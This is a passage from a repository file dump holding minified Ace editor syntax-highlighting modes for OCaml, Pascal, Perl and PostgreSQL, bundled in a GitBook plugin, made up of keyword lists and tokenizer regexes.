lit|unsafe_fill|unsafe_get|unsafe_get|unsafe_set|unsafe_set|update|uppercase|uppercase|uppercase|uppercase|usage|utimes|utimes|wait|wait|wait|wait|wait_next_event|wait_pid|wait_read|wait_signal|wait_timed_read|wait_timed_write|wait_write|waitpid|white|widen|window_id|word_size|wrap|wrap_abort|write|yellow|yield|zero|zero_big_int|Arg|Arith_status|Array|Array1|Array2|Array3|ArrayLabels|Big_int|Bigarray|Buffer|Callback|CamlinternalOO|Char|Complex|Condition|Dbm|Digest|Dynlink|Event|Filename|Format|Gc|Genarray|Genlex|Graphics|GraphicsX11|Hashtbl|Int32|Int64|LargeFile|Lazy|Lexing|List|ListLabels|Make|Map|Marshal|MoreLabels|Mutex|Nativeint|Num|Obj|Oo|Parsing|Pervasives|Printexc|Printf|Queue|Random|Scanf|Scanning|Set|Sort|Stack|State|StdLabels|Str|Stream|String|StringLabels|Sys|Thread|ThreadUnix|Tk|Unix|UnixLabels|Weak\",r=this.createKeywordMapper({\"variable.language\":\"this\",keyword:e,\"constant.language\":t,\"support.function\":n},\"identifier\"),i=\"(?:(?:[1-9]\\\\d*)|(?:0))\",s=\"(?:0[oO]?[0-7]+)\",o=\"(?:0[xX][\\\\dA-Fa-f]+)\",u=\"(?:0[bB][01]+)\",a=\"(?:\"+i+\"|\"+s+\"|\"+o+\"|\"+u+\")\",f=\"(?:[eE][+-]?\\\\d+)\",l=\"(?:\\\\.\\\\d+)\",c=\"(?:\\\\d+)\",h=\"(?:(?:\"+c+\"?\"+l+\")|(?:\"+c+\"\\\\.))\",p=\"(?:(?:\"+h+\"|\"+c+\")\"+f+\")\",d=\"(?:\"+p+\"|\"+h+\")\";this.$rules={start:[{token:\"comment\",regex:\"\\\\(\\\\*.*?\\\\*\\\\)\\\\s*?$\"},{token:\"comment\",regex:\"\\\\(\\\\*.*\",next:\"comment\"},{token:\"string\",regex:'[\"](?:(?:\\\\\\\\.)|(?:[^\"\\\\\\\\]))*?[\"]'},{token:\"string\",regex:\"'.'\"},{token:\"string\",regex:'\"',next:\"qstring\"},{token:\"constant.numeric\",regex:\"(?:\"+d+\"|\\\\d+)[jJ]\\\\b\"},{token:\"constant.numeric\",regex:d},{token:\"constant.numeric\",regex:a+\"\\\\b\"},{token:r,regex:\"[a-zA-Z_$][a-zA-Z0-9_$]*\\\\b\"},{token:\"keyword.operator\",regex:\"\\\\+\\\\.|\\\\-\\\\.|\\\\*\\\\.|\\\\/\\\\.|#|;;|\\\\+|\\\\-|\\\\*|\\\\*\\\\*\\\\/|\\\\/\\\\/|%|<<|>>|&|\\\\||\\\\^|~|<|>|<=|=>|==|!=|<>|<-|=\"},{token:\"paren.lparen\",regex:\"[[({]\"},{token:\"paren.rparen\",regex:\"[\\\\])}]\"},{token:\"text\",regex:\"\\\\s+\"}],comment:[{token:\"comment\",regex:\".*?\\\\*\\\\)\",next:\"start\"},{token:\"comment\",regex:\".+\"}],qstring:[{token:\"string\",regex:'\"',next:\"start\"},{token:\"string\",regex:\".+\"}]}};r.inherits(s,i),t.OcamlHighlightRules=s}),define(\"ace/mode/matching_brace_outdent\",[\"require\",\"exports\",\"module\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../range\").Range,i=function(){};(function(){this.checkOutdent=function(e,t){return/^\\s+$/.test(e)?/^\\s*\\}/.test(t):!1},this.autoOutdent=function(e,t){var n=e.getLine(t),i=n.match(/^(\\s*\\})/);if(!i)return 0;var s=i[1].length,o=e.findMatchingBracket({row:t,column:s});if(!o||o.row==t)return 0;var u=this.$getIndent(e.getLine(o.row));e.replace(new r(t,0,t,s-1),u)},this.$getIndent=function(e){return e.match(/^\\s*/)[0]}}).call(i.prototype),t.MatchingBraceOutdent=i}),define(\"ace/mode/ocaml\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/ocaml_highlight_rules\",\"ace/mode/matching_brace_outdent\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./ocaml_highlight_rules\").OcamlHighlightRules,o=e(\"./matching_brace_outdent\").MatchingBraceOutdent,u=e(\"../range\").Range,a=function(){this.HighlightRules=s,this.$outdent=new o};r.inherits(a,i);var f=/(?:[({[=:]|[-=]>|\\b(?:else|try|with))\\s*$/;(function(){this.toggleCommentLines=function(e,t,n,r){var i,s,o=!0,a=/^\\s*\\(\\*(.*)\\*\\)/;for(i=n;i<=r;i++)if(!a.test(t.getLine(i))){o=!1;break}var f=new u(0,0,0,0);for(i=n;i<=r;i++)s=t.getLine(i),f.start.row=i,f.end.row=i,f.end.column=s.length,t.replace(f,o?s.match(a)[1]:\"(*\"+s+\"*)\")},this.getNextLineIndent=function(e,t,n){var r=this.$getIndent(t),i=this.getTokenizer().getLineTokens(t,e).tokens;return(!i.length||i[i.length-1].type!==\"comment\")&&e===\"start\"&&f.test(t)&&(r+=n),r},this.checkOutdent=function(e,t,n){return this.$outdent.checkOutdent(t,n)},this.autoOutdent=function(e,t,n){this.$outdent.autoOutdent(t,n)},this.$id=\"ace/mode/ocaml\"}).call(a.prototype),t.Mode=a})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/mode-pascal.js",
    "content": "define(\"ace/mode/pascal_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){this.$rules={start:[{caseInsensitive:!0,token:\"keyword.control.pascal\",regex:\"\\\\b(?:(absolute|abstract|all|and|and_then|array|as|asm|attribute|begin|bindable|case|class|const|constructor|destructor|div|do|do|else|end|except|export|exports|external|far|file|finalization|finally|for|forward|goto|if|implementation|import|in|inherited|initialization|interface|interrupt|is|label|library|mod|module|name|near|nil|not|object|of|only|operator|or|or_else|otherwise|packed|pow|private|program|property|protected|public|published|qualified|record|repeat|resident|restricted|segment|set|shl|shr|then|to|try|type|unit|until|uses|value|var|view|virtual|while|with|xor))\\\\b\"},{caseInsensitive:!0,token:[\"variable.pascal\",\"text\",\"storage.type.prototype.pascal\",\"entity.name.function.prototype.pascal\"],regex:\"\\\\b(function|procedure)(\\\\s+)(\\\\w+)(\\\\.\\\\w+)?(?=(?:\\\\(.*?\\\\))?;\\\\s*(?:attribute|forward|external))\"},{caseInsensitive:!0,token:[\"variable.pascal\",\"text\",\"storage.type.function.pascal\",\"entity.name.function.pascal\"],regex:\"\\\\b(function|procedure)(\\\\s+)(\\\\w+)(\\\\.\\\\w+)?\"},{token:\"constant.numeric.pascal\",regex:\"\\\\b((0(x|X)[0-9a-fA-F]*)|(([0-9]+\\\\.?[0-9]*)|(\\\\.[0-9]+))((e|E)(\\\\+|-)?[0-9]+)?)(L|l|UL|ul|u|U|F|f|ll|LL|ull|ULL)?\\\\b\"},{token:\"punctuation.definition.comment.pascal\",regex:\"--.*$\",push_:[{token:\"comment.line.double-dash.pascal.one\",regex:\"$\",next:\"pop\"},{defaultToken:\"comment.line.double-dash.pascal.one\"}]},{token:\"punctuation.definition.comment.pascal\",regex:\"//.*$\",push_:[{token:\"comment.line.double-slash.pascal.two\",regex:\"$\",next:\"pop\"},{defaultToken:\"comment.line.double-slash.pascal.two\"}]},{token:\"punctuation.definition.comment.pascal\",regex:\"\\\\(\\\\*\",push:[{token:\"punctuation.definition.comment.pascal\",regex:\"\\\\*\\\\)\",next:\"pop\"},{defaultToken:\"comment.block.pascal.one\"}]},{token:\"punctuation.definition.comment.pascal\",regex:\"\\\\{\",push:[{token:\"punctuation.definition.comment.pascal\",regex:\"\\\\}\",next:\"pop\"},{defaultToken:\"comment.block.pascal.two\"}]},{token:\"punctuation.definition.string.begin.pascal\",regex:'\"',push:[{token:\"constant.character.escape.pascal\",regex:\"\\\\\\\\.\"},{token:\"punctuation.definition.string.end.pascal\",regex:'\"',next:\"pop\"},{defaultToken:\"string.quoted.double.pascal\"}]},{token:\"punctuation.definition.string.begin.pascal\",regex:\"'\",push:[{token:\"constant.character.escape.apostrophe.pascal\",regex:\"''\"},{token:\"punctuation.definition.string.end.pascal\",regex:\"'\",next:\"pop\"},{defaultToken:\"string.quoted.single.pascal\"}]},{token:\"keyword.operator\",regex:\"[+\\\\-;,/*%]|:=|=\"}]},this.normalizeRules()};r.inherits(s,i),t.PascalHighlightRules=s}),define(\"ace/mode/folding/coffee\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/folding/fold_mode\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"./fold_mode\").FoldMode,s=e(\"../../range\").Range,o=t.FoldMode=function(){};r.inherits(o,i),function(){this.getFoldWidgetRange=function(e,t,n){var r=this.indentationBlock(e,n);if(r)return r;var i=/\\S/,o=e.getLine(n),u=o.search(i);if(u==-1||o[u]!=\"#\")return;var a=o.length,f=e.getLength(),l=n,c=n;while(++n<f){o=e.getLine(n);var h=o.search(i);if(h==-1)continue;if(o[h]!=\"#\")break;c=n}if(c>l){var p=e.getLine(c).length;return new s(l,a,c,p)}},this.getFoldWidget=function(e,t,n){var r=e.getLine(n),i=r.search(/\\S/),s=e.getLine(n+1),o=e.getLine(n-1),u=o.search(/\\S/),a=s.search(/\\S/);if(i==-1)return e.foldWidgets[n-1]=u!=-1&&u<a?\"start\":\"\",\"\";if(u==-1){if(i==a&&r[i]==\"#\"&&s[i]==\"#\")return e.foldWidgets[n-1]=\"\",e.foldWidgets[n+1]=\"\",\"start\"}else if(u==i&&r[i]==\"#\"&&o[i]==\"#\"&&e.getLine(n-2).search(/\\S/)==-1)return e.foldWidgets[n-1]=\"start\",e.foldWidgets[n+1]=\"\",\"\";return u!=-1&&u<i?e.foldWidgets[n-1]=\"start\":e.foldWidgets[n-1]=\"\",i<a?\"start\":\"\"}}.call(o.prototype)}),define(\"ace/mode/pascal\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/pascal_highlight_rules\",\"ace/mode/folding/coffee\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./pascal_highlight_rules\").PascalHighlightRules,o=e(\"./folding/coffee\").FoldMode,u=function(){this.HighlightRules=s,this.foldingRules=new o};r.inherits(u,i),function(){this.lineCommentStart=[\"--\",\"//\"],this.blockComment=[{start:\"(*\",end:\"*)\"},{start:\"{\",end:\"}\"}],this.$id=\"ace/mode/pascal\"}.call(u.prototype),t.Mode=u})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/mode-perl.js",
    "content": "define(\"ace/mode/perl_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){var e=\"base|constant|continue|else|elsif|for|foreach|format|goto|if|last|local|my|next|no|package|parent|redo|require|scalar|sub|unless|until|while|use|vars\",t=\"ARGV|ENV|INC|SIG\",n=\"getprotobynumber|getprotobyname|getservbyname|gethostbyaddr|gethostbyname|getservbyport|getnetbyaddr|getnetbyname|getsockname|getpeername|setpriority|getprotoent|setprotoent|getpriority|endprotoent|getservent|setservent|endservent|sethostent|socketpair|getsockopt|gethostent|endhostent|setsockopt|setnetent|quotemeta|localtime|prototype|getnetent|endnetent|rewinddir|wantarray|getpwuid|closedir|getlogin|readlink|endgrent|getgrgid|getgrnam|shmwrite|shutdown|readline|endpwent|setgrent|readpipe|formline|truncate|dbmclose|syswrite|setpwent|getpwnam|getgrent|getpwent|ucfirst|sysread|setpgrp|shmread|sysseek|sysopen|telldir|defined|opendir|connect|lcfirst|getppid|binmode|syscall|sprintf|getpgrp|readdir|seekdir|waitpid|reverse|unshift|symlink|dbmopen|semget|msgrcv|rename|listen|chroot|msgsnd|shmctl|accept|unpack|exists|fileno|shmget|system|unlink|printf|gmtime|msgctl|semctl|values|rindex|substr|splice|length|msgget|select|socket|return|caller|delete|alarm|ioctl|index|undef|lstat|times|srand|chown|fcntl|close|write|umask|rmdir|study|sleep|chomp|untie|print|utime|mkdir|atan2|split|crypt|flock|chmod|BEGIN|bless|chdir|semop|shift|reset|link|stat|chop|grep|fork|dump|join|open|tell|pipe|exit|glob|warn|each|bind|sort|pack|eval|push|keys|getc|kill|seek|sqrt|send|wait|rand|tied|read|time|exec|recv|eof|chr|int|ord|exp|pos|pop|sin|log|abs|oct|hex|tie|cos|vec|END|ref|map|die|uc|lc|do\",r=this.createKeywordMapper({keyword:e,\"constant.language\":t,\"support.function\":n},\"identifier\");this.$rules={start:[{token:\"comment.doc\",regex:\"^=(?:begin|item)\\\\b\",next:\"block_comment\"},{token:\"string.regexp\",regex:\"[/](?:(?:\\\\[(?:\\\\\\\\]|[^\\\\]])+\\\\])|(?:\\\\\\\\/|[^\\\\]/]))*[/]\\\\w*\\\\s*(?=[).,;]|$)\"},{token:\"string\",regex:'[\"](?:(?:\\\\\\\\.)|(?:[^\"\\\\\\\\]))*?[\"]'},{token:\"string\",regex:'[\"].*\\\\\\\\$',next:\"qqstring\"},{token:\"string\",regex:\"['](?:(?:\\\\\\\\.)|(?:[^'\\\\\\\\]))*?[']\"},{token:\"string\",regex:\"['].*\\\\\\\\$\",next:\"qstring\"},{token:\"constant.numeric\",regex:\"0x[0-9a-fA-F]+\\\\b\"},{token:\"constant.numeric\",regex:\"[+-]?\\\\d+(?:(?:\\\\.\\\\d*)?(?:[eE][+-]?\\\\d+)?)?\\\\b\"},{token:r,regex:\"[a-zA-Z_$][a-zA-Z0-9_$]*\\\\b\"},{token:\"keyword.operator\",regex:\"%#|\\\\$#|\\\\.\\\\.\\\\.|\\\\|\\\\|=|>>=|<<=|<=>|&&=|=>|!~|\\\\^=|&=|\\\\|=|\\\\.=|x=|%=|\\\\/=|\\\\*=|\\\\-=|\\\\+=|=~|\\\\*\\\\*|\\\\-\\\\-|\\\\.\\\\.|\\\\|\\\\||&&|\\\\+\\\\+|\\\\->|!=|==|>=|<=|>>|<<|,|=|\\\\?\\\\:|\\\\^|\\\\||x|%|\\\\/|\\\\*|<|&|\\\\\\\\|~|!|>|\\\\.|\\\\-|\\\\+|\\\\-C|\\\\-b|\\\\-S|\\\\-u|\\\\-t|\\\\-p|\\\\-l|\\\\-d|\\\\-f|\\\\-g|\\\\-s|\\\\-z|\\\\-k|\\\\-e|\\\\-O|\\\\-T|\\\\-B|\\\\-M|\\\\-A|\\\\-X|\\\\-W|\\\\-c|\\\\-R|\\\\-o|\\\\-x|\\\\-w|\\\\-r|\\\\b(?:and|cmp|eq|ge|gt|le|lt|ne|not|or|xor)\"},{token:\"comment\",regex:\"#.*$\"},{token:\"lparen\",regex:\"[[({]\"},{token:\"rparen\",regex:\"[\\\\])}]\"},{token:\"text\",regex:\"\\\\s+\"}],qqstring:[{token:\"string\",regex:'(?:(?:\\\\\\\\.)|(?:[^\"\\\\\\\\]))*?\"',next:\"start\"},{token:\"string\",regex:\".+\"}],qstring:[{token:\"string\",regex:\"(?:(?:\\\\\\\\.)|(?:[^'\\\\\\\\]))*?'\",next:\"start\"},{token:\"string\",regex:\".+\"}],block_comment:[{token:\"comment.doc\",regex:\"^=cut\\\\b\",next:\"start\"},{defaultToken:\"comment.doc\"}]}};r.inherits(s,i),t.PerlHighlightRules=s}),define(\"ace/mode/matching_brace_outdent\",[\"require\",\"exports\",\"module\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../range\").Range,i=function(){};(function(){this.checkOutdent=function(e,t){return/^\\s+$/.test(e)?/^\\s*\\}/.test(t):!1},this.autoOutdent=function(e,t){var n=e.getLine(t),i=n.match(/^(\\s*\\})/);if(!i)return 0;var s=i[1].length,o=e.findMatchingBracket({row:t,column:s});if(!o||o.row==t)return 0;var u=this.$getIndent(e.getLine(o.row));e.replace(new r(t,0,t,s-1),u)},this.$getIndent=function(e){return e.match(/^\\s*/)[0]}}).call(i.prototype),t.MatchingBraceOutdent=i}),define(\"ace/mode/folding/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/range\",\"ace/mode/folding/fold_mode\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../../range\").Range,s=e(\"./fold_mode\").FoldMode,o=t.FoldMode=function(e){e&&(this.foldingStartMarker=new RegExp(this.foldingStartMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.start)),this.foldingStopMarker=new RegExp(this.foldingStopMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.end)))};r.inherits(o,s),function(){this.foldingStartMarker=/(\\{|\\[)[^\\}\\]]*$|^\\s*(\\/\\*)/,this.foldingStopMarker=/^[^\\[\\{]*(\\}|\\])|^[\\s\\*]*(\\*\\/)/,this.singleLineBlockCommentRe=/^\\s*(\\/\\*).*\\*\\/\\s*$/,this.tripleStarBlockCommentRe=/^\\s*(\\/\\*\\*\\*).*\\*\\/\\s*$/,this.startRegionRe=/^\\s*(\\/\\*|\\/\\/)#?region\\b/,this._getFoldWidgetBase=this.getFoldWidget,this.getFoldWidget=function(e,t,n){var r=e.getLine(n);if(this.singleLineBlockCommentRe.test(r)&&!this.startRegionRe.test(r)&&!this.tripleStarBlockCommentRe.test(r))return\"\";var i=this._getFoldWidgetBase(e,t,n);return!i&&this.startRegionRe.test(r)?\"start\":i},this.getFoldWidgetRange=function(e,t,n,r){var i=e.getLine(n);if(this.startRegionRe.test(i))return this.getCommentRegionBlock(e,i,n);var s=i.match(this.foldingStartMarker);if(s){var o=s.index;if(s[1])return this.openingBracketBlock(e,s[1],n,o);var u=e.getCommentFoldRange(n,o+s[0].length,1);return u&&!u.isMultiLine()&&(r?u=this.getSectionRange(e,n):t!=\"all\"&&(u=null)),u}if(t===\"markbegin\")return;var s=i.match(this.foldingStopMarker);if(s){var o=s.index+s[0].length;return s[1]?this.closingBracketBlock(e,s[1],n,o):e.getCommentFoldRange(n,o,-1)}},this.getSectionRange=function(e,t){var n=e.getLine(t),r=n.search(/\\S/),s=t,o=n.length;t+=1;var u=t,a=e.getLength();while(++t<a){n=e.getLine(t);var f=n.search(/\\S/);if(f===-1)continue;if(r>f)break;var l=this.getFoldWidgetRange(e,\"all\",t);if(l){if(l.start.row<=s)break;if(l.isMultiLine())t=l.end.row;else if(r==f)break}u=t}return new i(s,o,u,e.getLine(u).length)},this.getCommentRegionBlock=function(e,t,n){var r=t.search(/\\s*$/),s=e.getLength(),o=n,u=/^\\s*(?:\\/\\*|\\/\\/|--)#?(end)?region\\b/,a=1;while(++n<s){t=e.getLine(n);var f=u.exec(t);if(!f)continue;f[1]?a--:a++;if(!a)break}var l=n;if(l>o)return new i(o,r,l,t.length)}}.call(o.prototype)}),define(\"ace/mode/perl\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/perl_highlight_rules\",\"ace/mode/matching_brace_outdent\",\"ace/range\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./perl_highlight_rules\").PerlHighlightRules,o=e(\"./matching_brace_outdent\").MatchingBraceOutdent,u=e(\"../range\").Range,a=e(\"./folding/cstyle\").FoldMode,f=function(){this.HighlightRules=s,this.$outdent=new o,this.foldingRules=new a({start:\"^=(begin|item)\\\\b\",end:\"^=(cut)\\\\b\"})};r.inherits(f,i),function(){this.lineCommentStart=\"#\",this.blockComment=[{start:\"=begin\",end:\"=cut\",lineStartOnly:!0},{start:\"=item\",end:\"=cut\",lineStartOnly:!0}],this.getNextLineIndent=function(e,t,n){var r=this.$getIndent(t),i=this.getTokenizer().getLineTokens(t,e),s=i.tokens;if(s.length&&s[s.length-1].type==\"comment\")return r;if(e==\"start\"){var o=t.match(/^.*[\\{\\(\\[\\:]\\s*$/);o&&(r+=n)}return r},this.checkOutdent=function(e,t,n){return this.$outdent.checkOutdent(t,n)},this.autoOutdent=function(e,t,n){this.$outdent.autoOutdent(t,n)},this.$id=\"ace/mode/perl\"}.call(f.prototype),t.Mode=f})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/mode-pgsql.js",
    "content": "define(\"ace/mode/doc_comment_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){this.$rules={start:[{token:\"comment.doc.tag\",regex:\"@[\\\\w\\\\d_]+\"},s.getTagRule(),{defaultToken:\"comment.doc\",caseInsensitive:!0}]}};r.inherits(s,i),s.getTagRule=function(e){return{token:\"comment.doc.tag.storage.type\",regex:\"\\\\b(?:TODO|FIXME|XXX|HACK)\\\\b\"}},s.getStartRule=function(e){return{token:\"comment.doc\",regex:\"\\\\/\\\\*(?=\\\\*)\",next:e}},s.getEndRule=function(e){return{token:\"comment.doc\",regex:\"\\\\*\\\\/\",next:e}},t.DocCommentHighlightRules=s}),define(\"ace/mode/perl_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){var e=\"base|constant|continue|else|elsif|for|foreach|format|goto|if|last|local|my|next|no|package|parent|redo|require|scalar|sub|unless|until|while|use|vars\",t=\"ARGV|ENV|INC|SIG\",n=\"getprotobynumber|getprotobyname|getservbyname|gethostbyaddr|gethostbyname|getservbyport|getnetbyaddr|getnetbyname|getsockname|getpeername|setpriority|getprotoent|setprotoent|getpriority|endprotoent|getservent|setservent|endservent|sethostent|socketpair|getsockopt|gethostent|endhostent|setsockopt|setnetent|quotemeta|localtime|prototype|getnetent|endnetent|rewinddir|wantarray|getpwuid|closedir|getlogin|readlink|endgrent|getgrgid|getgrnam|shmwrite|shutdown|readline|endpwent|setgrent|readpipe|formline|truncate|dbmclose|syswrite|setpwent|getpwnam|getgrent|getpwent|ucfirst|sysread|setpgrp|shmread|sysseek|sysopen|telldir|defined|opendir|connect|lcfirst|getppid|binmode|syscall|sprintf|getpgrp|readdir|seekdir|waitpid|reverse|unshift|symlink|dbmopen|semget|msgrcv|rename|listen|chroot|msgsnd|shmctl|accept|unpack|exists|fileno|shmget|system|unlink|printf|gmtime|msgctl|semctl|values|rindex|substr|splice|length|msgget|select|socket|return|caller|delete|alarm|ioctl|index|undef|lstat|times|srand|chown|fcntl|close|write|umask|rmdir|study|sleep|chomp|untie|print|utime|mkdir|atan2|split|crypt|flock|chmod|BEGIN|bless|chdir|semop|shift|reset|link|stat|chop|grep|fork|dump|join|open|tell|pipe|exit|glob|warn|each|bind|sort|pack|eval|push|keys|getc|kill|seek|sqrt|send|wait|rand|tied|read|time|exec|recv|eof|chr|int|ord|exp|pos|pop|sin|log|abs|oct|hex|tie|cos|vec|END|ref|map|die|uc|lc|do\",r=this.createKeywordMapper({keyword:e,\"constant.language\":t,\"support.function\":n},\"identifier\");this.$rules={start:[{token:\"comment.doc\",regex:\"^=(?:begin|item)\\\\b\",next:\"block_comment\"},{token:\"string.regexp\",regex:\"[/](?:(?:\\\\[(?:\\\\\\\\]|[^\\\\]])+\\\\])|(?:\\\\\\\\/|[^\\\\]/]))*[/]\\\\w*\\\\s*(?=[).,;]|$)\"},{token:\"string\",regex:'[\"](?:(?:\\\\\\\\.)|(?:[^\"\\\\\\\\]))*?[\"]'},{token:\"string\",regex:'[\"].*\\\\\\\\$',next:\"qqstring\"},{token:\"string\",regex:\"['](?:(?:\\\\\\\\.)|(?:[^'\\\\\\\\]))*?[']\"},{token:\"string\",regex:\"['].*\\\\\\\\$\",next:\"qstring\"},{token:\"constant.numeric\",regex:\"0x[0-9a-fA-F]+\\\\b\"},{token:\"constant.numeric\",regex:\"[+-]?\\\\d+(?:(?:\\\\.\\\\d*)?(?:[eE][+-]?\\\\d+)?)?\\\\b\"},{token:r,regex:\"[a-zA-Z_$][a-zA-Z0-9_$]*\\\\b\"},{token:\"keyword.operator\",regex:\"%#|\\\\$#|\\\\.\\\\.\\\\.|\\\\|\\\\|=|>>=|<<=|<=>|&&=|=>|!~|\\\\^=|&=|\\\\|=|\\\\.=|x=|%=|\\\\/=|\\\\*=|\\\\-=|\\\\+=|=~|\\\\*\\\\*|\\\\-\\\\-|\\\\.\\\\.|\\\\|\\\\||&&|\\\\+\\\\+|\\\\->|!=|==|>=|<=|>>|<<|,|=|\\\\?\\\\:|\\\\^|\\\\||x|%|\\\\/|\\\\*|<|&|\\\\\\\\|~|!|>|\\\\.|\\\\-|\\\\+|\\\\-C|\\\\-b|\\\\-S|\\\\-u|\\\\-t|\\\\-p|\\\\-l|\\\\-d|\\\\-f|\\\\-g|\\\\-s|\\\\-z|\\\\-k|\\\\-e|\\\\-O|\\\\-T|\\\\-B|\\\\-M|\\\\-A|\\\\-X|\\\\-W|\\\\-c|\\\\-R|\\\\-o|\\\\-x|\\\\-w|\\\\-r|\\\\b(?:and|cmp|eq|ge|gt|le|lt|ne|not|or|xor)\"},{token:\"comment\",regex:\"#.*$\"},{token:\"lparen\",regex:\"[[({]\"},{token:\"rparen\",regex:\"[\\\\])}]\"},{token:\"text\",regex:\"\\\\s+\"}],qqstring:[{token:\"string\",regex:'(?:(?:\\\\\\\\.)|(?:[^\"\\\\\\\\]))*?\"',next:\"start\"},{token:\"string\",regex:\".+\"}],qstring:[{token:\"string\",regex:\"(?:(?:\\\\\\\\.)|(?:[^'\\\\\\\\]))*?'\",next:\"start\"},{token:\"string\",regex:\".+\"}],block_comment:[{token:\"comment.doc\",regex:\"^=cut\\\\b\",next:\"start\"},{defaultToken:\"comment.doc\"}]}};r.inherits(s,i),t.PerlHighlightRules=s}),define(\"ace/mode/python_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){var e=\"and|as|assert|break|class|continue|def|del|elif|else|except|exec|finally|for|from|global|if|import|in|is|lambda|not|or|pass|print|raise|return|try|while|with|yield\",t=\"True|False|None|NotImplemented|Ellipsis|__debug__\",n=\"abs|divmod|input|open|staticmethod|all|enumerate|int|ord|str|any|eval|isinstance|pow|sum|basestring|execfile|issubclass|print|super|binfile|iter|property|tuple|bool|filter|len|range|type|bytearray|float|list|raw_input|unichr|callable|format|locals|reduce|unicode|chr|frozenset|long|reload|vars|classmethod|getattr|map|repr|xrange|cmp|globals|max|reversed|zip|compile|hasattr|memoryview|round|__import__|complex|hash|min|set|apply|delattr|help|next|setattr|buffer|dict|hex|object|slice|coerce|dir|id|oct|sorted|intern\",r=this.createKeywordMapper({\"invalid.deprecated\":\"debugger\",\"support.function\":n,\"constant.language\":t,keyword:e},\"identifier\"),i=\"(?:r|u|ur|R|U|UR|Ur|uR)?\",s=\"(?:(?:[1-9]\\\\d*)|(?:0))\",o=\"(?:0[oO]?[0-7]+)\",u=\"(?:0[xX][\\\\dA-Fa-f]+)\",a=\"(?:0[bB][01]+)\",f=\"(?:\"+s+\"|\"+o+\"|\"+u+\"|\"+a+\")\",l=\"(?:[eE][+-]?\\\\d+)\",c=\"(?:\\\\.\\\\d+)\",h=\"(?:\\\\d+)\",p=\"(?:(?:\"+h+\"?\"+c+\")|(?:\"+h+\"\\\\.))\",d=\"(?:(?:\"+p+\"|\"+h+\")\"+l+\")\",v=\"(?:\"+d+\"|\"+p+\")\",m=\"\\\\\\\\(x[0-9A-Fa-f]{2}|[0-7]{3}|[\\\\\\\\abfnrtv'\\\"]|U[0-9A-Fa-f]{8}|u[0-9A-Fa-f]{4})\";this.$rules={start:[{token:\"comment\",regex:\"#.*$\"},{token:\"string\",regex:i+'\"{3}',next:\"qqstring3\"},{token:\"string\",regex:i+'\"(?=.)',next:\"qqstring\"},{token:\"string\",regex:i+\"'{3}\",next:\"qstring3\"},{token:\"string\",regex:i+\"'(?=.)\",next:\"qstring\"},{token:\"constant.numeric\",regex:\"(?:\"+v+\"|\\\\d+)[jJ]\\\\b\"},{token:\"constant.numeric\",regex:v},{token:\"constant.numeric\",regex:f+\"[lL]\\\\b\"},{token:\"constant.numeric\",regex:f+\"\\\\b\"},{token:r,regex:\"[a-zA-Z_$][a-zA-Z0-9_$]*\\\\b\"},{token:\"keyword.operator\",regex:\"\\\\+|\\\\-|\\\\*|\\\\*\\\\*|\\\\/|\\\\/\\\\/|%|<<|>>|&|\\\\||\\\\^|~|<|>|<=|=>|==|!=|<>|=\"},{token:\"paren.lparen\",regex:\"[\\\\[\\\\(\\\\{]\"},{token:\"paren.rparen\",regex:\"[\\\\]\\\\)\\\\}]\"},{token:\"text\",regex:\"\\\\s+\"}],qqstring3:[{token:\"constant.language.escape\",regex:m},{token:\"string\",regex:'\"{3}',next:\"start\"},{defaultToken:\"string\"}],qstring3:[{token:\"constant.language.escape\",regex:m},{token:\"string\",regex:\"'{3}\",next:\"start\"},{defaultToken:\"string\"}],qqstring:[{token:\"constant.language.escape\",regex:m},{token:\"string\",regex:\"\\\\\\\\$\",next:\"qqstring\"},{token:\"string\",regex:'\"|$',next:\"start\"},{defaultToken:\"string\"}],qstring:[{token:\"constant.language.escape\",regex:m},{token:\"string\",regex:\"\\\\\\\\$\",next:\"qstring\"},{token:\"string\",regex:\"'|$\",next:\"start\"},{defaultToken:\"string\"}]}};r.inherits(s,i),t.PythonHighlightRules=s}),define(\"ace/mode/json_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n)